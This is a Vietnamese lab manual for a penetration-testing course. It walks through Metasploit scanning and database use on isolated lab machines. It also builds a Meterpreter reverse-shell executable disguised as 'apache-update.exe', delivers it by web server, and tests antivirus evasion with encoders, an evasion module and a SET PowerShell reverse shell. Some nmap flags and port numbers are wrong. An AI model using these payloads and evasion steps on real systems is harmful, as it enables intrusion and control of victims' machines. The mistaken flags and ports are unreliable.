Bài tập 1: Khám phá Metasploit Framework

Mục tiêu

  • Trong bài tập này, bạn sẽ làm việc trong Metasploit và khám phá các tính năng khác nhau của công cụ.

Thời lượng bài tập: 20 phút

  1. □ Theo mặc định, máy Parrot-Metasploit được chọn, nhập toor vào trường Mật khẩu và nhấn Enter.(Hình chụp màn hình đăng nhập Parrot OS với tên người dùng “pentester” và trường mật khẩu, máy Parrot-Metasploit được chọn.)
  2. □ Khởi chạy một terminal và nhập cd /usr/share/metasploit-framework và nhấn Enter.(Hình chụp màn hình của terminal Parrot với lệnh cd /usr/share/metasploit-framework được nhập.)
  3. □ Để xem Thư mục và Tệp trong thư mục Metasploit Framework, nhập ls và nhấn Enter. Hình chụp màn hình hiển thị cấu trúc của framework.(Hình chụp màn hình của terminal Parrot hiển thị nội dung của thư mục metasploit-framework.)
  4. □ Nhập cd tools và nhấn Enter để truy cập thư mục tools. Khi bạn ở trong thư mục tools, nhập ls và nhấn Enter. Thư mục tools chứa các công cụ thuộc các danh mục khác nhau mà chúng ta sẽ tiếp tục khám phá khi chúng ta tiến hành bài tập.(Hình chụp màn hình của terminal Parrot hiển thị nội dung của thư mục tools.)
  5. □ Chúng ta đã sẵn sàng để khởi động Metasploit. Nhập sudo service postgresql start và nhấn Enter. Nhập toor và nhấn Enter.(Hình chụp màn hình của terminal Parrot với lệnh sudo service postgresql start và toor cho mật khẩu được nhập.)
  6. □ Khi PostgreSQL đang chạy, tiếp theo chúng ta cần tạo và khởi tạo cơ sở dữ liệu msf. Nhập sudo msfdb init và nhấn Enter. Bỏ qua các lỗi nếu bạn gặp phải.(Hình chụp màn hình của terminal Parrot với lệnh sudo msfdb init được nhập và đầu ra hiển thị quá trình tạo cơ sở dữ liệu.)
  7. □ Bây giờ, nhập sudo msfconsole và nhấn Enter để khởi chạy framework.(Hình chụp màn hình của terminal Parrot với lệnh sudo msfconsole được nhập.)
  8. □ Khi Metasploit khởi chạy, bạn sẽ thấy hình ảnh banner như được hiển thị trong hình chụp màn hình. Banner này sẽ luân phiên. Nếu bạn muốn xem một banner khác, bạn chỉ cần nhập banner và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf với banner Metasploit được hiển thị.)
  9. □ Trong giao diện điều khiển msf, nhập tips và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf hiển thị đầu ra của lệnh tips.)
  10. □ Bây giờ, chúng ta hãy khám phá các tính năng khác nhau và cấu trúc của công cụ. Đầu tiên, hãy sử dụng module quét cổng. Nhập search portscan/tcp và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf hiển thị kết quả tìm kiếm module portscan/tcp.)
  11. □ Một tính năng hữu ích hiện có là bạn không cần phải nhập toàn bộ module; bạn có thể sử dụng số ‘#’ được tham chiếu. Nhập use 0 và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf với lệnh use 0, tương ứng với auxiliary/scanner/portscan/tcp.)
  12. □ Khi bạn đã ở trong module, hãy xem lại chi tiết của nó. Nhập info và nhấn Enter. Luôn làm như vậy khi bạn nhập module mới. Như hình chụp màn hình hiển thị, Transmission Control Protocol (TCP) được sử dụng, và trong một connect scan, một kết nối hoàn chỉnh sẽ được thực hiện cho mỗi cổng để xác định xem nó có mở hay không. Điều này cung cấp cho chúng ta một số lợi thế, nhưng nếu chúng ta muốn có nhiều kết nối, một syn scan hoặc một half-open scan là các lựa chọn thay thế để xem xét sử dụng. Bên cạnh đó, chúng ta cũng có thể đặt giá trị cho RHOSTS, đó là địa chỉ IP để quét. Chúng ta cũng cần đặt PORTS hoặc phạm vi cổng cần quét. Lệnh RHOSTS có thể được sử dụng với một địa chỉ IP hoặc một phạm vi. Vì chúng ta chỉ có một địa chỉ IP trong ví dụ của mình, chúng ta sẽ chỉ thiết lập một mục tiêu. Khi chúng ta xem xét thêm các module, chúng ta sẽ thấy lệnh RHOSTS rất hữu ích khi có nhiều máy đang chạy mà bạn có thể muốn khám phá, nhưng chúng ta sẽ chỉ tập trung vào quy trình và kết quả của nó trong khi thực hiện bài tập này.(Hình chụp màn hình giao diện điều khiển msf hiển thị thông tin chi tiết cho module auxiliary/scanner/portscan/tcp.)
  13. □ Nhập set RHOSTS IP Range và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf với lệnh set RHOSTS 192.168.177.0/24.)
  14. □ Nhập set PORTS 1-100 và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf với lệnh set PORTS 1-100.)
  15. □ Nhập run và nhấn Enter. Việc quét sẽ mất tối thiểu nửa giờ. Bạn có thể rút ngắn thời gian quét bằng cách đặt một cổng cụ thể, ví dụ set PORTS 22. Chạy Wireshark dưới dạng máy chủ. Quan sát kết quả và xác minh rằng việc quét đang thực sự được thực hiện.(Hình chụp màn hình giao diện điều khiển msf hiển thị kết quả của việc quét cổng.)
  16. □ Sau khi quét hoàn tất, hãy nhập hosts và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf hiển thị kết quả của lệnh hosts.)
  17. □ Bây giờ, hãy nhập services và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf hiển thị kết quả của lệnh services.)
  18. □ Như bạn có thể thấy, việc quét khá chậm. Tuy nhiên, nếu chúng ta sử dụng nó cho mục đích của mình, thì nó có thể hữu ích. Bạn cũng có thể thấy rằng dữ liệu đã được ghi lại trong cơ sở dữ liệu Metasploit. Chúng ta có thể thực hiện truy vấn theo dữ liệu bằng cách sử dụng Cơ sở dữ liệu và Metasploit db_nmap.
  19. □ Trong đầu ra giao diện điều khiển Metasploit, hãy nhập show payloads và nhấn Enter. Dành vài phút để xem xét đầu ra của lệnh. Như bạn thấy, có một số payloads có sẵn, mặc dù bạn có thể chỉ sử dụng một vài trong số đó.(Hình chụp màn hình giao diện điều khiển msf hiển thị danh sách các payloads.)
  20. □ Tiếp theo, chúng ta sẽ sử dụng lệnh connect. Nhập connect 192.168.177.200 22 và nhấn Enter. Bạn có thể nhấn Ctrl+C khi đã xem qua đầu ra. 192.168.177.200 là địa chỉ IP của máy Web-Metasploit.(Hình chụp màn hình giao diện điều khiển msf với lệnh connect 192.168.177.200 22 được nhập và đầu ra hiển thị kết nối thành công.)
  21. □ Khi chúng ta khám phá thêm về công cụ, chúng ta sẽ thấy rõ ràng rằng thực sự không cần phải thoát khỏi giao diện điều khiển vì bạn có khả năng sử dụng nhiều công cụ. Chúng ta có nhiều loại NOPS. Nhập show nops và nhấn Enter. Đầu ra của lệnh được hiển thị trong hình chụp màn hình.
  22. □ Như hình chụp màn hình hiển thị, một số kiến trúc khác nhau có thể được sử dụng để tạo một NOP sled.(Hình chụp màn hình giao diện điều khiển msf hiển thị danh sách các bộ tạo NOP.)
  23. □ Nhớ rằng bạn có thể sử dụng trình thông dịch Ruby tương tác. Nhập irb và nhấn Enter. Bạn có thể nhấn Ctrl+C khi đã xem qua đầu ra.(Hình chụp màn hình giao diện điều khiển msf hiển thị việc chuyển sang shell irb.)
  24. □ Bây giờ chúng ta sẽ sử dụng module HTTP. Nhập use auxiliary/scanner/http_version và nhấn Enter. Sau đó nhập info và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf hiển thị thông tin chi tiết cho module auxiliary/scanner/http_version.)
  25. □ Bây giờ, nhập set RHOSTS 192.168.177.200 và nhấn Enter. 192.168.177.200 là địa chỉ IP của máy Web-Metasploit.(Hình chụp màn hình giao diện điều khiển msf với lệnh set RHOSTS 192.168.177.200.)
  26. □ Nhập run và nhấn Enter để khai thác máy.(Hình chụp màn hình giao diện điều khiển msf hiển thị kết quả của module auxiliary/scanner/http_version.)
  27. □ Bây giờ, nhập db_nmap -sv 192.168.177.0/24 và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf hiển thị đầu ra của lệnh db_nmap -sv 192.168.177.0/24.)
  28. □ Chúng ta đã thấy cách db_nmap hoạt động. Chúng ta sẽ nhập kết quả. Nhập db_import và nhấn Enter. Dành vài phút để xem xét các tùy chọn khác nhau để nhập. Chúng ta có thể nhập từ nhiều vị trí.(Hình chụp màn hình giao diện điều khiển msf hiển thị đầu ra của lệnh db_import.)
  29. □ Trong một terminal khác, hãy thực hiện quét nmap. Nhập nmap -sc 192.168.177.0/24 -oX nmapscan.xml. Trong bản quét này, chúng ta đang quét toàn bộ mạng con và sử dụng tùy chọn đầu ra để ghi nó vào một tệp XML.(Hình chụp màn hình của terminal hiển thị đầu ra của lệnh nmap.)
  30. □ Khi quét hoàn tất, chúng ta sẽ nhập kết quả. Chuyển sang msfconsole. Nhập db_import [đường dẫn tới tệp] và nhấn Enter. Một ví dụ về đầu ra của quá trình nhập được hiển thị trong hình chụp màn hình sau.(Hình chụp màn hình giao diện điều khiển msf hiển thị kết quả của việc nhập tệp nmapscan.xml.)
  31. □ Khi quá trình nhập hoàn tất, nhập hosts theo sau là services như được hiển thị trong hình chụp màn hình.(Hình chụp màn hình giao diện điều khiển msf hiển thị kết quả của lệnh hosts và services.)
  32. □ Bây giờ, chúng ta sẽ xem xét thông tin cụ thể của một máy chủ. Nhập services -c name,info 192.168.177.200 và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf hiển thị thông tin chi tiết cho máy chủ 192.168.177.200.)
  33. □ Chúng ta đã khám phá những điều cơ bản của Metasploit. Mục tiêu của bài tập đã đạt được. Đóng tất cả các cửa sổ đã được mở.

Bài tập 2: Các tiện ích của Metasploit Framework

Mục tiêu

  • Trong bài tập này, bạn sẽ làm việc trong Metasploit và khám phá các tiện ích khác nhau có sẵn.
  1. □ Theo mặc định, máy Parrot-Metasploit được chọn, nhập toor vào trường Mật khẩu và nhấn Enter. Nếu bạn đã đăng nhập, hãy bỏ qua bước 2.(Hình chụp màn hình đăng nhập Parrot OS với tên người dùng “pentester” và trường mật khẩu, máy Parrot-Metasploit được chọn.)
  2. □ Mở cửa sổ terminal trong Parrot, nhập service postgresql start và nhấn Enter.(Hình chụp màn hình của terminal Parrot với lệnh service postgresql start được nhập.)
  3. □ Trong terminal, nhập msfconsole và nhấn Enter.(Hình chụp màn hình của terminal Parrot với lệnh msfconsole được nhập.)
  4. □ Mở một cửa sổ terminal khác, nhập cd /usr/share/metasploit-framework/tools và nhấn Enter.(Hình chụp màn hình của terminal Parrot với lệnh cd /usr/share/metasploit-framework/tools được nhập.)
  5. □ Khi bạn đã ở trong thư mục, hãy nhập ls và nhấn Enter để liệt kê nội dung của thư mục.(Hình chụp màn hình của terminal Parrot hiển thị nội dung của thư mục tools.)
  6. □ Bây giờ, chúng ta đã sẵn sàng để xem xét một trong các thư mục. Tất cả các công cụ không thể được thảo luận ở đây vì có hơn 100 công cụ. Nhập cd exploit và nhấn Enter.(Hình chụp màn hình của terminal Parrot với lệnh cd exploit được nhập.)
  7. □ Trong thư mục, nhập ls và nhấn Enter.(Hình chụp màn hình của terminal Parrot hiển thị nội dung của thư mục exploit.)
  8. □ Hãy cùng xem xét pattern_create. Nhập ./pattern_create.rb -h và nhấn Enter.(Hình chụp màn hình của terminal Parrot hiển thị trợ giúp cho lệnh pattern_create.rb.)
  9. □ Chúng ta thường cần tạo các mẫu và chúng ta có thể làm điều này trong Python hoặc các ngôn ngữ kịch bản khác. Chúng ta cũng có thể sử dụng Metasploit cho việc này. Đối với điều này, chúng ta sử dụng lệnh pattern_create. Nhập ./pattern_create.rb -l 400 và nhấn Enter.(Hình chụp màn hình của terminal Parrot hiển thị một mẫu được tạo với độ dài 400 ký tự.)
  10. □ Như hình chụp màn hình trong Bước 9 hiển thị, chúng ta đã tạo một mẫu với 400 ký tự. Chúng ta cũng có thể chỉ định chuỗi ký tự. Nhập ./pattern_create.rb -l 400 -s ABC và nhấn Enter.

(Hình chụp màn hình của terminal Parrot hiển thị một mẫu được tạo với độ dài 400 ký tự và chuỗi ký tự ABC.)

  1. □ Như chúng ta đã thấy ở Bước 10, công cụ này rất mạnh mẽ và có sẵn trong các ngôn ngữ kịch bản.
  2. □ Chúng ta bây giờ sẽ khám phá các phương pháp khác của khai thác phía máy khách. Trên thực tế, có ngày càng ít cơ hội để thực hiện các cuộc tấn công trực tiếp vào các máy trên mạng. Các máy có nhiều khả năng nằm trên một mạng riêng với địa chỉ IP 192.168. Như vậy, máy chủ tấn công từ bên ngoài mạng riêng có thể cần phải lừa nạn nhân trên mạng đó để chạy mã. Đây là một thách thức, và mục tiêu là phát triển các payloads mà phần mềm chống vi-rút hoặc máy quét sẽ không phát hiện ra.
  3. □ Rõ ràng, thách thức hiện tại là đánh bại các cơ chế bảo vệ điểm cuối được áp dụng. Chúng ta có thể mã hóa một khai thác và tạo một payload.
  4. □ Chúng ta sẽ sử dụng công cụ msfvenom tích hợp. Nhập msfvenom –list payloads và nhấn Enter.

(Hình chụp màn hình của terminal Parrot hiển thị danh sách các payloads.)

  1. □ Như hình chụp màn hình trong Bước 14 hiển thị, chúng ta có thể tạo hơn 500 payloads.
  2. □ Cùng với các payloads, chúng ta có các bộ mã hóa. Nhập msfvenom –list encoders và nhấn Enter.

(Hình chụp màn hình của terminal Parrot hiển thị danh sách các bộ mã hóa.)

  1. □ Một lần nữa, chúng ta có thể thấy rằng chúng ta có khá nhiều bộ mã hóa.
  2. □ Quan trọng hơn, chúng ta cần xem các nền tảng và định dạng nào có sẵn. Để làm điều này, hãy nhập msfvenom –help platforms và nhấn Enter.

(Hình chụp màn hình của terminal Parrot hiển thị trợ giúp cho các nền tảng msfvenom.)

  1. □ Bây giờ, chúng ta đã sẵn sàng để tạo một payload. Nhập msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.177.18 LPORT=8080 -a x86 –platform windows -f exe > ~/Desktop/apache-update.exe và nhấn Enter.

(Hình chụp màn hình của terminal Parrot hiển thị kết quả của việc tạo payload.)

  1. □ Giải thích cho từng tùy chọn lệnh được giải thích trong bảng sau.
Tùy chọnGiải thích
-a x86Payload dành cho kiến trúc x86
–platform windowsNhắm mục tiêu một nền tảng Windows
-p windows/meterpreter/reverse_tcpPayload cho một shell ngược TCP Meterpreter
LHOSTĐịa chỉ IP của máy chủ tấn công
LPORTCổng được sử dụng trên máy chủ tấn công
-f exeĐầu ra ở định dạng tệp exe
-e shikata_ga_naiBộ mã hóa được sử dụng
> ~/Desktop/apache-update.exeĐường dẫn tới tệp để lưu mã
  1. □ Khi chúng ta đã tạo payload, quy trình bình thường là kiểm tra xem nó có phải là vi-rút hay không.

(Hình chụp màn hình của kết quả VirusTotal đối với tệp apache-update.exe. 56 trong số 74 công cụ đã phát hiện ra tệp này là độc hại.)

  1. □ Như chúng ta thấy, điều đó không hiệu quả lắm. Chúng ta cần một phương pháp tốt hơn. Một trong những phương pháp là mã hóa nhiều lần. Do đó, chúng ta đã mã hóa tới 25 lần. Một ví dụ về kết quả được hiển thị trong hình chụp màn hình sau.

(Hình chụp màn hình của kết quả VirusTotal đối với tệp đã được mã hóa nhiều lần. 57 trong số 72 công cụ đã phát hiện ra tệp này là độc hại.)

  1. □ Mục tiêu của chúng ta không đạt được, nhưng chúng ta có thể cố gắng để mã vượt qua Windows Defender. Chúng ta sẽ thử trên Windows Server 2008, nhưng nó sẽ là một máy cũ. Có nhiều cách để đưa mã vào máy, nhưng chúng ta sẽ sử dụng một cách đơn giản, cụ thể là máy chủ Web Python. Mở cửa sổ terminal và nhập cd Desktop và nhấn Enter.

(Hình chụp màn hình của terminal Parrot với lệnh cd Desktop được nhập.)

  1. □ Khi bạn đã ở trong thư mục, nhập python -m SimpleHTTPServer và nhấn Enter.

(Hình chụp màn hình của terminal Parrot với lệnh python -m SimpleHTTPServer được nhập.)

  1. □ Thiết lập một trình xử lý khai thác trong Metasploit. Nhập các lệnh sau:
    a. use exploit/multi/handler
    b. set PAYLOAD windows/meterpreter/reverse_tcp
    c. set LHOST 192.168.177.18
    d. set LPORT 8080
    e. run

(Hình chụp màn hình giao diện điều khiển msf với các lệnh thiết lập trình xử lý khai thác.)

  1. □ Tiếp theo, chuyển sang Server 2008-Metasploit và nhấn Ctrl+Alt+Delete.

(Hình chụp màn hình của màn hình đăng nhập Windows Server 2008.)

  1. □ Theo mặc định, Administrator được chọn làm tên người dùng, trong trường mật khẩu, nhập password.

(Hình chụp màn hình của màn hình đăng nhập Windows Server 2008 với tên người dùng Administrator và trường mật khẩu.)

  1. □ Tắt Windows Defender. Mở trình duyệt và kết nối với Cổng 8080 mà máy chủ đang chạy, nhập http://192.168.177.18:8000 và nhấn Enter. Tải xuống tệp apache-update.exe.

(Hình chụp màn hình của danh sách thư mục trên máy chủ Web Python.)

  1. □ Nhấp đúp vào tệp để chạy nó. Nếu chương trình chạy, bạn sẽ thấy rằng một shell đã được mở trên máy.

(Hình chụp màn hình của hộp thoại mở tệp trong Windows Server 2008. Tệp apache-update.exe đang được mở.)

(Hình chụp màn hình của hộp thoại cảnh báo bảo mật trong Windows Server 2008, hỏi xem có muốn chạy apache-update.exe hay không.)

  1. □ Do đó, mặc dù tất cả các nhà cung cấp chống vi-rút đều phát hiện ra, nhưng chúng ta đã có thể đưa shell vào máy Windows Server 2008 phiên bản này. Tuy nhiên, hãy nhớ rằng, điều này vẫn được phát hiện và chúng ta phải tắt Windows Defender. Thay đổi trình xử lý.
  2. □ Thoát Metasploit và thiết lập lại cùng trình xử lý.
  3. □ Nhập các lệnh trong máy để thiết lập trình xử lý.
  4. □ Sau đó, bạn sẽ bật, cấu hình, truy cập máy chủ web và tải xuống tệp thực thi bằng trình duyệt. Khi bạn tải xuống tệp thực thi, nó vẫn bị chặn bởi Windows Defender mặc dù đã bị tắt và không chạy được. Ví dụ về cách bỏ chặn được hiển thị trong hình chụp màn hình sau.(Hình chụp màn hình của cửa sổ thuộc tính của tệp apache-update.exe trong Windows Server 2008, hiển thị nút Bỏ chặn.)
  5. □ Nếu nó không chạy, hãy thử khởi động lại Windows và thử lại.
  6. □ Một ví dụ về cách thức hoạt động được hiển thị trong hình chụp màn hình sau.

(Hình chụp màn hình giao diện điều khiển msf với lệnh run để bắt đầu khai thác. Thông báo bắt đầu trình xử lý TCP ngược được hiển thị.)

  1. □ Quy trình bao gồm tiếp tục thử nghiệm với các phương pháp khác nhau. Chúng ta hãy thử module mới nhất đã được tạo để đặc biệt vượt qua Windows Defender.
  2. □ Bây giờ, chúng ta có một module để vượt qua Windows Defender trong máy Parrot. Trong terminal Metasploit, nhập use evasion/windows/windows_defender_exe và nhấn Enter.

(Hình chụp màn hình giao diện điều khiển msf với lệnh use evasion/windows/windows_defender_exe.)

  1. □ Khi chúng ta tiếp tục, hãy nhập info để đọc thông tin về module.

(Hình chụp màn hình giao diện điều khiển msf hiển thị thông tin cho module evasion/windows/windows_defender_exe.)

  1. □ Như bạn có thể thấy trong mô tả, nhiều phương pháp đang được sử dụng để cố gắng tránh bị Windows Defender phát hiện.
  2. □ Nhập show options và nhấn Enter để xem xét các tùy chọn.

(Hình chụp màn hình giao diện điều khiển msf hiển thị các tùy chọn cho module evasion/windows/windows_defender_exe.)

  1. □ Như hình chụp màn hình trong Bước 40 hiển thị, FILENAME đã được thiết lập cho chúng ta. Do đó, chúng ta có thể sử dụng công cụ để tạo tệp thực thi lẩn tránh. Chúng ta cần nhập các lệnh sau:
    a. set PAYLOAD windows/meterpreter/reverse_https
    b. set LHOST 192.168.177.18
    c. run

Tệp thực thi sẽ được lưu trữ trong thư mục Metasploit. Một ví dụ về đầu ra của lệnh được hiển thị trong hình chụp màn hình sau.

(Hình chụp màn hình giao diện điều khiển msf hiển thị đầu ra của lệnh run để tạo tệp thực thi lẩn tránh.)

  1. □ Điều hướng đến vị trí của tệp thực thi và sao chép nó vào Màn hình.

(Hình chụp màn hình của trình quản lý tệp Parrot OS hiển thị tệp thực thi lẩn tránh và menu ngữ cảnh với tùy chọn Sao chép được chọn.)

(Hình chụp màn hình của trình quản lý tệp Parrot OS hiển thị tệp thực thi lẩn tránh được sao chép vào Màn hình.)

  1. □ Khi nó được sao chép, hãy thiết lập máy chủ Web Python như chúng ta đã làm trước khi tải xuống tệp. Trước khi đưa tệp vào, hãy đảm bảo rằng Windows Defender của bạn đã bị tắt. Thiết lập trình xử lý khai thác bằng cách nhập các lệnh sau trong Metasploit:
    a. use exploit/multi/handler
    b. set LHOST 192.168.177.18
    c. set LPORT 443
    d. run

(Hình chụp màn hình giao diện điều khiển msf với các lệnh thiết lập trình xử lý khai thác.)

  1. □ Tiếp theo, chuyển sang Server 2016-Metasploit và bật Windows Defender để xem liệu tệp thực thi có thể chạy được hay không. Nếu nó chạy được, bạn sẽ thấy shell trong máy của mình.

(Hình chụp màn hình của hộp thoại lỗi trong Windows Server 2016 cho biết Windows Defender đã chặn tệp thực thi lẩn tránh.)

  1. □ Như bạn có thể thấy, điều này đã thất bại. Tắt Windows Defender để xem liệu chúng ta có thể chạy nó hay không. Một ví dụ về việc cố gắng chạy tệp thực thi được hiển thị trong hình chụp màn hình sau.

(Hình chụp màn hình của hộp thoại cảnh báo bảo mật trong Windows Server 2016, hỏi xem có muốn chạy tệp thực thi lẩn tránh hay không.)

  1. □ Chuyển về Parrot-Metasploit để kiểm tra phiên đã tạo.

(Hình chụp màn hình giao diện điều khiển msf hiển thị một phiên Meterpreter đã được tạo.)

  1. □ Do đó, công cụ trốn tránh đặc biệt này không hoạt động. Đây là thách thức với các phương pháp bảo vệ điểm cuối khác nhau. Chúng luôn thay đổi, và chúng ta phải liên tục nghiên cứu để xem phương pháp nào hoạt động. Vì vậy, lựa chọn là thử một phương pháp khác.
  2. □ Chúng ta có thể tạo một payload bằng PowerShell, nhưng trước tiên hãy mã hóa nó.
  3. □ Chúng ta có thể tạo một payload trong tệp PDF, nhưng hãy nén nó bằng 7zip để xem liệu nó có bị phát hiện hay không. Hình chụp màn hình sau hiển thị ví dụ về tệp sau khi nó được tải lên VirusTotal.

(Hình chụp màn hình của kết quả VirusTotal đối với tệp PDF đã được nén. 3 trong số 68 công cụ đã phát hiện ra tệp này là độc hại.)

  1. □ Điều này không hoạt động 100%. Tuy nhiên, chỉ có ba công cụ phát hiện ra nó. Đôi khi chúng ta phải chấp nhận rằng chúng ta chỉ có thể làm được như vậy.
  2. □ Một lựa chọn khác là tạo một payload PowerShell và chúng ta có thể sử dụng Bộ công cụ Kỹ thuật Xã hội để làm điều này trong máy Parrot. Nhập sudo ./setoolkit và nhấn Enter.

(Hình chụp màn hình của terminal Parrot với lệnh sudo ./setoolkit được nhập.)

  1. □ Nhập setoolkit và nhấn Enter.

(Hình chụp màn hình của menu Bộ công cụ Kỹ thuật Xã hội.)

  1. □ Khi công cụ mở ra, hãy chấp nhận thỏa thuận cấp phép nếu được nhắc. Chọn Tùy chọn 1 theo sau là Tùy chọn 9, tiếp theo là Tùy chọn 2 để tạo mã PowerShell.

(Hình chụp màn hình của menu chính Bộ công cụ Kỹ thuật Xã hội.)

(Hình chụp màn hình của menu Vector Tấn công Bộ công cụ Kỹ thuật Xã hội.)

  1. □ Trong trường Nhập địa chỉ IP hoặc tên DNS cho máy chủ ngược, nhập 192.168.177.18 và nhấn Enter.

(Hình chụp màn hình của màn hình PowerShell Attack Vectors của Bộ công cụ Kỹ thuật Xã hội, với địa chỉ IP 192.168.177.18 được nhập trong trường máy chủ ngược.)

  1. □ Trong trường Nhập cổng cho máy chủ nghe, nhập 4444 và nhấn Enter.

(Hình chụp màn hình của màn hình PowerShell Attack Vectors của Bộ công cụ Kỹ thuật Xã hội, với cổng 4444 được nhập trong trường máy chủ nghe.)

  1. □ Trong trường Bạn có muốn khởi động máy chủ nghe không, nhập yes.

(Hình chụp màn hình của màn hình PowerShell Attack Vectors của Bộ công cụ Kỹ thuật Xã hội, với yes được nhập trong trường máy chủ nghe.)

  1. □ Điều hướng đến /root/.set/reports/powershell và sao chép nó vào Màn hình và đổi tên nó thành power.ps1.

(Hình chụp màn hình của trình quản lý tệp Parrot OS hiển thị tệp powershell.reverse_tcp và menu ngữ cảnh với tùy chọn Sao chép được chọn.)

(Hình chụp màn hình của trình quản lý tệp Parrot OS hiển thị tệp powershell được sao chép vào Màn hình và được đổi tên thành power.ps1.)

  1. □ Mở một terminal khác và nhập cd Desktop và nhấn Enter, sau đó nhập python -m SimpleHTTPServer và nhấn Enter để khởi động máy chủ Python.

(Hình chụp màn hình của terminal Parrot với các lệnh cd Desktop và python -m SimpleHTTPServer được nhập.)

  1. □ Chuyển sang Server 2016-Metasploit và mở trình duyệt và nhập http://192.168.177.18:8000 và nhấn Enter và tải tệp power.ps1 xuống Màn hình của bạn.

(Hình chụp màn hình của danh sách thư mục trên máy chủ Web Python.)

  1. □ Trong Windows PowerShell, nhập cd Desktop và nhấn Enter.

(Hình chụp màn hình của cửa sổ PowerShell với lệnh cd Desktop.)

  1. □ Bây giờ, trong Windows PowerShell, nhập .\power.ps1 và nhấn Enter.

(Hình chụp màn hình của cửa sổ PowerShell với lệnh .\power.ps1.)

  1. □ Một lần nữa, vector mà chúng ta đã sử dụng không còn hoạt động mà không nhắc người dùng. Đây là lý do tại sao chúng ta nhấn mạnh rằng các phương pháp trốn tránh liên tục thay đổi và gây ra sự cố cho chúng ta.
  2. □ Ngay cả khi chúng ta hướng dẫn nó chạy, nó vẫn không thành công, và do đó, nó tiếp tục là một thách thức.
  3. □ Ngoài ra, chúng ta đang sử dụng Windows PowerShell, và kể từ phiên bản 7, một thách thức khác đã phát sinh.
  4. □ Mục tiêu của bài tập đã đạt được.

Bài tập 3: Làm việc với Metasploit Framework

Mục tiêu

  • Trong bài tập này, bạn sẽ làm việc trong Metasploit và khám phá thêm công cụ.

Thời lượng bài tập: 20 phút

  1. □ Theo mặc định, máy Parrot-Metasploit được chọn, nhập toor vào trường Mật khẩu và nhấn Enter. Nếu bạn đã đăng nhập, hãy bỏ qua bước 2.(Hình chụp màn hình đăng nhập Parrot OS với tên người dùng “pentester” và trường mật khẩu, máy Parrot-Metasploit được chọn.)
  2. □ Khởi chạy một terminal, nhập msfdb và nhấn Enter. Chúng ta có một số tùy chọn ở đây. Khi bạn cài đặt Metasploit lần đầu tiên, bạn cần khởi tạo cơ sở dữ liệu.(Hình chụp màn hình của terminal Parrot với lệnh msfdb được nhập và hiển thị các tùy chọn có sẵn.)
  3. □ Nhập sudo service postgresql start và nhấn Enter. Nhập toor và nhấn Enter.(Hình chụp màn hình của terminal Parrot với lệnh sudo service postgresql start được nhập.)
  4. □ Nhập sudo msfdb init và nhấn Enter.(Hình chụp màn hình của terminal Parrot với lệnh sudo msfdb init được nhập.)
  5. □ Nhập sudo msfdb status và nhấn Enter. Chúng ta có thể thấy trạng thái của dịch vụ.(Hình chụp màn hình của terminal Parrot với lệnh sudo msfdb status được nhập.)
  6. □ Như hình chụp màn hình ở trên hiển thị, điều này cung cấp cho chúng ta một số thông tin và tham chiếu đến tệp cấu hình. Mở tệp trong trình soạn thảo yêu thích của bạn và xem xét thông tin ở đó. Một ví dụ về tệp được hiển thị trong hình chụp màn hình sau.(Hình chụp màn hình của tệp cấu hình database.yml.)
  7. □ Chuyển sang terminal. Nhập sudo msfdb reinit và nhấn Enter.(Hình chụp màn hình của terminal Parrot với lệnh sudo msfdb reinit được nhập.)
  8. □ Sau khi quá trình khởi tạo lại hoàn tất. Chúng ta có thể khởi chạy và khởi động msfdb cùng lúc. Nhập sudo msfdb run và nhấn Enter.(Hình chụp màn hình của terminal Parrot với lệnh sudo msfdb run được nhập.)
  9. □ Sau khi công cụ chạy, nhập db_status và nhấn Enter để xem trạng thái của cơ sở dữ liệu.(Hình chụp màn hình giao diện điều khiển msf hiển thị kết quả của lệnh db_status.)
  10. □ Nếu bạn chưa kết nối với cơ sở dữ liệu, nhập db_connect msfdb:password@127.0.0.1:5432/msfdb để thay đổi kết nối thành cơ sở dữ liệu mới tạo của bạn. Thay thế mật khẩu bằng mật khẩu bạn đã tạo cho người dùng msfdb. Nếu bạn đã kết nối, bạn sẽ nhận được lỗi yêu cầu bạn ngắt kết nối trước.

(Hình chụp màn hình giao diện điều khiển msf với lệnh db_connect được nhập và hiển thị thông báo lỗi cho biết kết nối đã được thiết lập.)

  1. □ Bây giờ chúng ta đã thiết lập cơ sở dữ liệu, điều này sẽ tách biệt dữ liệu của chúng ta với dữ liệu của các dự án khác. Như đã đề cập, điều này có thể mang lại cho chúng ta sự tách biệt đối với dữ liệu từ các dự án khác.
  2. □ Chúng ta bây giờ sẽ sử dụng các lệnh db_nmap và xem chúng hoạt động như thế nào trong Metasploit. Nhập db_nmap -sp 192.168.177.0/24 và nhấn Enter. Điều này sẽ phát hiện các hệ thống và mục tiêu của chúng ta.

(Hình chụp màn hình giao diện điều khiển msf hiển thị đầu ra của lệnh db_nmap -sp 192.168.177.0/24.)

tiếp theo :

  1. □ Tiếp theo, thực hiện theo phương pháp quét thông thường của bạn trên máy Windows Server 2008 (Server 2008-Metasploit).
    o Cổng
    -sS
    o Dịch vụ
    -sV
    o Liệt kê
    -sC
    -A
    o Lỗ hổng
    • Wanna Cry – ms17-010
  2. □ Trong msfconsole, nhập db_nmap -sS 192.168.177.100 và nhấn Enter để thực hiện quét cổng.(Hình chụp màn hình giao diện điều khiển msf hiển thị đầu ra của lệnh db_nmap -sS 192.168.177.100.)
  3. □ Vì chúng ta chỉ nhắm mục tiêu Windows Server 2008 của mình, chúng ta sẽ không xem bảng máy chủ; chúng ta sẽ chỉ nhập services.(Hình chụp màn hình giao diện điều khiển msf hiển thị đầu ra của lệnh services.)
